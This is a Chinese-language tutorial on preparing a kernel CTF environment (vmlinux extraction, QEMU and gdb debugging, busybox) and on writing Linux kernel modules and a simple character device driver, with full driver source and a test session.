首先获取 1f 8b 08 00
的偏移:
od -t x1 -A d vmlinuz-5.8.0-59-generic | grep "1f 8b 08 00"
解压,其中 skip 的值为 1f 8b 08 00
的偏移。
dd if=vmlinuz-5.8.0-59-generic bs=1 skip=16808|zcat>vmlinux
bzImage 解压
使用 extract-vmlinux 脚本从 bzImage 获取 vmlinux 。
脚本不长,直接在下面贴一下。
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
运行如下命令就可以解压出 vmlinux 了。
./extract-vmlinux ./bzImage > vmlinux
更快捷的方法是直接用 vmlinux-to-elf
解压,还可以顺便修复符号。
vmlinux-to-elf bzImage vmlinux
gdb 调试
首先需要对 boot.sh
做如下修改:
- 添加
nokaslr
关闭地址随机化。 - 添加
-s
,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokaslr' \
-enable-kvm \
-monitor /dev/null -m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s
为了加载 babydriver.ko
的符号信息,需要获取其代码段的地址。因此需要修改 init
内容获取 root 权限。
重新打包并启动系统,查询代码段地址。
另外 lsmod
也可以查询模块加载基址。
创建 gdb.sh
调试脚本,
#!/bin/sh
gdb -q \
-ex "file $(find . -name vmlinux)" \
-ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \
-ex "target remote localhost:1234" \
-ex "b babyopen" \
-ex "c"
运行 boot.sh
启动 linux ,运行 gdb.sh
附加到 linux,之后运行 exp,成功在断点处断下来。(注意,只有使用 root 权限启动的 gdb 才可以 vmmap 查看内存页映射情况)
编译 busybox
这个不是做内核题所需的步骤,只是介绍一下内核 pwn 中的文件系统是怎么来的。因为题目提供的文件系统有相关的配置文件,因此以题目提供的文件系统为准。
kernel 题一般采用的是轻量化的 busybox 文件系统。
在官网下载 busybox 源码并解压。
之后安装依赖:
sudo apt-get install libncurses5-dev libncursesw5-dev
在 busybox 目录下输入如下命令进入图形界面配置编译选项。
make menuconfig
进入 Settings
选择静态编译。如果不勾选的话,需要自行配置libc库,这样步骤会很繁琐。
设置安装目录
这里我们选择的是 ./rootfs
最后保存并退出。
编译文件
make -j4
make install
可以看到生成了 rootfs
文件夹,这就是编译好的文件系统。
Linux 内核模块
什么是 LKMs
LKMs 称为可加载核心模块(内核模块),其可看作是运行在内核空间的可执行程序,类似于 Linux 下的 ELF,包括:
- 驱动程序
- 设备驱动
- 文件系统驱动
- …
- 内核拓展模块
LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF ,Windows 下为 exe/dll ,mac 下为 MACH-O ,因此我们可以使用 IDA 等工具来分析内核模块。
模块可以被单独编译,但不能单独运行,它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户空间的进程不同。
模块通常用来实现一种文件系统,一个驱动程序或者其它内核上层的功能。
Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic
kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。
通常情况下 Kernel 漏洞的发生也常见于加载的 LKMs 出现问题。
相关指令
insmod
:将制定模块加载到内核中rmmod
:从内核中卸载制定模块lsmod
:列出已经加载的模块modprobe
:添加或删除模块,modprobe
在加载模块时会查找依赖关系
文件系统
在Linux系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作。
图中所示为Linux中虚拟文件系统(VFS)、磁盘/Flash文件系统及一般的设备文件与设备驱动程序之间的关系。
应用程序和 VFS
之间的接口是系统调用,而 VFS
与文件系统以及设备文件之间的接口是 file_operations
结构体成员函数,这个结构体包含对文件进行打开、关闭、读写、控制的一系列成员函数。
file 结构体
file
结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file
。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。在内核和驱动源代码中,struct file
的指针通常被命名为 file
或 filp
。
linux-5.17/include/linux/fs.h: file
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
/*
* Protects f_ep, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;
u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;
#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct hlist_head *f_ep;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
inode结构体
VFS inode包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。
include/linux/fs.h: inode
struct inode {
umode_t i_mode; // inode的权限
unsigned short i_opflags;
kuid_t i_uid; // inode所有者的id
kgid_t i_gid; // inode所属的群组id
unsigned int i_flags;
...
dev_t i_rdev; // 若是设备文件,此字段将记录设备的设备号
loff_t i_size; // inode所代表的文件大小
struct timespec i_atime; // inode最近一次的存取时间
struct timespec i_mtime; // inode最近一次的修改时间
struct timespec i_ctime; // inode的产生时间
spinlock_t i_lock; /* i_blocks, i_bytes, maybe i_size */
unsigned short i_bytes;
unsigned int i_blkbits;
blkcnt_t i_blocks; // inode所使用的block数,一个block为512字节
...
union {
struct pipe_inode_info *i_pipe;
struct block_device *i_bdev; // 若是块设备,为其对应的block_device结构体指针
struct cdev *i_cdev; // 若是字符设备,为其对应的cdev结构体指针
};
...
查看 /proc/devices
文件可以获知系统中注册的设备,第一列为主设备号,第二列为设备名:
$ cat /proc/devices
Character devices:
1 mem
4 /dev/vc/0
4 tty
4 ttyS
5 /dev/tty
5 /dev/console
5 /dev/ptmx
...
Block devices:
259 blkext
7 loop
8 sd
9 md
11 sr
65 sd
...
查看 /dev
目录可以获知系统中包含的设备文件,日期前的两列对应设备的主设备号和次设备号:
$ ls -al /dev
total 0
drwxr-xr-x 8 root root 2940 May 8 14:17 .
drwxr-xr-x 11 root root 0 May 8 14:18 ..
drwxr-xr-x 2 root root 60 May 8 14:17 bsg
crw-rw---- 1 root root 5, 1 May 8 14:17 console
主设备号是与驱动对应的概念,同一类设备一般用相同的主设备号,不同类设备的主设备号一般不同。
内核模块开发
Hello World模块
编写一个输出内容的内核模块。
首先在内核源码目录下创建一个用于编译内核模块的文件夹,这里我创建的文件夹的名称是 myko
。
在该目录下创建 myko.c
,内容如下:
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void) {
printk("Hello, world!\n");
return 0;
}
static void hello_exit(void) {
printk("Goodbye, cruel world!\n");
}
module_init(hello_init);
module_exit(hello_exit);
-
linux/module.h
是Linux
内核模块变成必须包含的头文件 -
头文件
kernel.h
包含了常用的内核函数 -
头文件
init.h
包含了宏_init
和_exit
,它们允许释放内核占用的内存。 -
hello_init
函数是模块初始化函数,他会在内核模块被加载的时候执行,使用__init
进行修饰,一般用它来初始化数据结构等内容; -
hello_exit
函数是模块的退出函数,他会在模块在退出的时候执行。 -
函数
module_init()
和clearnup_exit()
是模块编程中最基本也是必须得两个函数,它用来指定模块加载和退出时调用的函数,这里加载的是我们上面定义好的两个函数,module_init()
向内核注册模块提供新功能,而cleanup_exit()
注销由模块提供的所用功能。 -
这段代码中使用了
printk
函数,这是内核打印函数,可以使用dmesg
指令来看到内核打印信息。
创建 Makefile
,内容如下:
obj-m := myko.o
KERNELDR := ~/Desktop/linux-5.17/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
编译
生成 myko.ko
驱动
参考环境搭建,将其打包到文件系统中,然后启动系统。
可以看到,模块运行正常。
带参数的模块
myko.c
内容修改为:
#include<linux/init.h>
#include<linux/module.h>
#include<linux/moduleparam.h>
MODULE_LICENSE("Dual BSD/GPL");
static char *whom = "world";
static int howmany = 1;
module_param(howmany, int, S_IRUGO);
module_param(whom, charp, S_IRUGO);
static int hello_init(void) {
int i;
for (i = 0; i < howmany; i++)
printk("(%d) Hello, %s\n", i, whom);
return 0;
}
static void hello_exit(void) {
printk("Goodbye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
参数必须使用module_param
宏来声明,这个宏在moduleparam.h
中定义。module_param
需要三个参数:变量的名称、类型以及用于sysfs
入口项的访问许可掩码,这个宏必须放在任何函数之外,通常在源文件头部。
字符设备驱动
字符设备驱动结构
cdev 结构体
cdev
为 linux 描述字符设备的一个结构。
include/linux/cdev.h
struct cdev {
struct kobject kobj; // 内嵌的kobject对象
struct module *owner; // 所属模块
struct file_operations *ops; // 文件操作结构体
struct list_head list;
dev_t dev; // 设备号
unsigned int count;
}
dev_t
定义了设备号,为 32 位,其中 12 位为主设备号,20 位为次设备号。下面的宏可以获得主设备号和次设备号:
MAJOR(dev_t dev)
MINOR(dev_t dev)
使用下面的宏可以用主设备号和次设备号生成 dev_t :
MKDEV(int major, int minor)
Linux 内核提供了一组函数用于操作 cdev
结构体:
void cdev_init(struct cdev *, struct file_operations *); // 用于初始化cdev的成员,并建立cdev和file_operations之间的连接
struct cdev *cdev_alloc(void); // 用于动态申请一个cdev内存
void cdev_put(struct cdev *p);
// 用向系统添加和删除一个cdev,完成字符设备的注册和注销
int cdev_add(struct cdev *, dev_t, unsigned); // 通常在字符设备驱动模块加载函数中调用
void cdev_del(struct cdev *); // 字符设备驱动模块卸载函数中调用
在调用 cdev_add()
函数向系统注册字符设备之前,应首先调用 register_chrdev_region()
或 alloc_chrdev_region()
函数向系统申请设备号:
int register_chrdev_region(dev_t from, unsigned count, const char *name);
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, const char *name);
register_chrdev_region()
函数用于已知起始设备的设备号的情况,而 alloc_chrdev_region()
用于设备号未知,向系统动态申请未被占用的设备号的情况。
file_operations 结构体
file_operations
结构体中的成员函数是字符设备驱动程序设计的主体内容,这些函数实际会在应用程序进行 Linux 的 open()
、write()
、read()
、close()
等系统调用时最终被内核调用。
include/linux/fs.h: file_operations
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};
下面对 file_operations
结构体中的主要成员简要介绍:
llseek()
函数用来修改一个文件的当前读写位置,并将新位置返回,在出错时,这个函数返回一个负值。
read()
函数用来从设备中读取数据,成功时函数返回读取的字节数,出错时返回一个负值。
write()
函数向设备发送数据,成功时该函数返回写入的字节数。如果次函数未被实现,当用户进行 write()
系统调用时,将得到 -EINVAL
返回值。
unlocked_ioctl()
提供设备相关控制命令的实现,当调用成功时,返回给调用程序一个非负值。
字符设备驱动组成
这里以一个简单的内存读写驱动为例。
头文件、宏及设备结构体
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("Dual BSD/GPL");
#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;
module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);
struct hello_dev {
struct cdev cdev;
unsigned char mem[MAX_SIZE];
} * hello_devp;
加载与卸载设备驱动
static int __init hello_init(void) {
int ret;
dev_t devno = MKDEV(hello_major, hello_minor);
if (hello_major)
ret = register_chrdev_region(devno, 1, "myko");
else {
ret = alloc_chrdev_region(&devno, 0, 1, "myko");
hello_major = MAJOR(devno);
}
if (ret < 0) return ret;
hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
if (!hello_devp) {
unregister_chrdev_region(devno, 1);
return -ENOMEM;
}
cdev_init(&hello_devp->cdev, &hello_fops);
hello_devp->cdev.owner = THIS_MODULE;
int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
return 0;
}
module_init(hello_init);
static void __exit hello_exit(void) {
cdev_del(&hello_devp->cdev);
kfree(hello_devp);
unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);
cdev_init
初始化 cdev
结构体,其中与驱动的 cdev
关联的 file_operations
结构体如下:
static const struct file_operations hello_fops = {
.owner = THIS_MODULE,
.llseek = hello_llseek,
.read = hello_read,
.write = hello_write,
.unlocked_ioctl = hello_ioctl,
.open = hello_open,
.release = hello_releace,
};
使用文件私有数据
大多数Linux驱动遵循一个”潜规则”,那就是将文件的私有数据 private_data
指向设备结构体,再用 read()
、write()
、ioctl()
、llseek()
等函数通过 private_data
访问设备结构体。
static int hello_open(struct inode *id, struct file *filp) {
filp->private_data = hello_devp;
return 0;
}
static int hello_releace(struct inode *id, struct file *filp) {
filp->private_data = NULL;
return 0;
}
读写函数
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_to_user(buf, dev->mem + *pos, count))
return -EFAULT;
*pos += count;
printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
return count;
}
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_from_user(dev->mem + *pos, buf, count))
return -EFAULT;
*pos += count;
printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
return count;
}
由于用户空间不能直接访问内核空间的内存,因此借助了函数 copy_from_user()
完成用户空间缓冲区到内核空间的复制,copy_to_user()
完成内核空间到用户空间缓冲区的复制。它们的原型如下:
unsigned long copy_from_user(void *to, const void __user *from, unsigned long count);
unsigned long copy_to_user(void __user *to, const void *from, unsigned long count);
完全复制成功返回值为 0 ,如果复制失败,则返回负值。
读和写函数中的 __user
是一个宏,表明其后的指针指向用户空间,实际上更多地充当了代码自注释功能。
seek函数
seek()
函数对文件定位的起始地址可以是文件开头(SEEK_SET,0)、当前位置(SEEK_CUR,1)和文件尾(SEEK_END,2),这里只实现了支持从文件开头和当前位置的相对偏移。
static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
if (op != 0 && op != 1) return -EINVAL;
if (op == 1) offset += filp->f_pos;
if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
return filp->f_pos = offset;
}
ioctl函数
用来自定义的函数,这里自定义了清内存的函数。
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct hello_dev *dev = filp->private_data;
if (dev == NULL) {
printk("[-] No device\n");
return -EINVAL;
}
switch (cmd) {
case MEM_CLEAR:
memset(dev->mem, 0, sizeof(dev->mem));
printk("[+] Clear success\n");
break;
default:
printk("[-] Error command\n");
return -EINVAL;
}
return 0;
}
完整代码
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("Dual BSD/GPL");
#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;
module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);
struct hello_dev {
struct cdev cdev;
unsigned char mem[MAX_SIZE];
} * hello_devp;
static int hello_open(struct inode *id, struct file *filp);
static int hello_releace(struct inode *id, struct file *filp);
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos);
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos);
static loff_t hello_llseek(struct file *filp, loff_t offset, int op);
static const struct file_operations hello_fops = {
.owner = THIS_MODULE,
.llseek = hello_llseek,
.read = hello_read,
.write = hello_write,
.unlocked_ioctl = hello_ioctl,
.open = hello_open,
.release = hello_releace,
};
static int __init hello_init(void) {
int ret;
dev_t devno = MKDEV(hello_major, hello_minor);
if (hello_major)
ret = register_chrdev_region(devno, 1, "myko");
else {
ret = alloc_chrdev_region(&devno, 0, 1, "myko");
hello_major = MAJOR(devno);
}
if (ret < 0) return ret;
hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
if (!hello_devp) {
unregister_chrdev_region(devno, 1);
return -ENOMEM;
}
cdev_init(&hello_devp->cdev, &hello_fops);
hello_devp->cdev.owner = THIS_MODULE;
int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
return 0;
}
module_init(hello_init);
static void __exit hello_exit(void) {
cdev_del(&hello_devp->cdev);
kfree(hello_devp);
unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);
static int hello_open(struct inode *id, struct file *filp) {
filp->private_data = hello_devp;
return 0;
}
static int hello_releace(struct inode *id, struct file *filp) {
filp->private_data = NULL;
return 0;
}
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct hello_dev *dev = filp->private_data;
if (dev == NULL) {
printk("[-] No device\n");
return -EINVAL;
}
switch (cmd) {
case MEM_CLEAR:
memset(dev->mem, 0, sizeof(dev->mem));
printk("[+] Clear success\n");
break;
default:
printk("[-] Error command\n");
return -EINVAL;
}
return 0;
}
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_to_user(buf, dev->mem + *pos, count))
return -EFAULT;
*pos += count;
printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
return count;
}
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_from_user(dev->mem + *pos, buf, count))
return -EFAULT;
*pos += count;
printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
return count;
}
static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
if (op != 0 && op != 1) return -EINVAL;
if (op == 1) offset += filp->f_pos;
if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
return filp->f_pos = offset;
}
验证
/ # insmod myko.ko
[ 17.837662] myko: loading out-of-tree module taints kernel.
[ 17.840020] myko: module verification failed: signature and/or required key l
/ # [ 17.887877] random: fast init done
/ # lsmod
myko 16384 0 - Live 0xffffffffc002e000 (OE)
/ # mknod /dev/myko c 230 0 #创建设备节点,c表明是字符设备,230是主设备号,0是次设备号
/ # chmod 777 /dev/myko
/ # echo "hello,world!" > /dev/myko
[ 103.447740] [+] Written 13 bytes(s) from 13
/ # cat dev/myko
[ 111.699740] [+] Read 4096 bytes(s) from 4096
hello,world!
更多推荐
所有评论(0)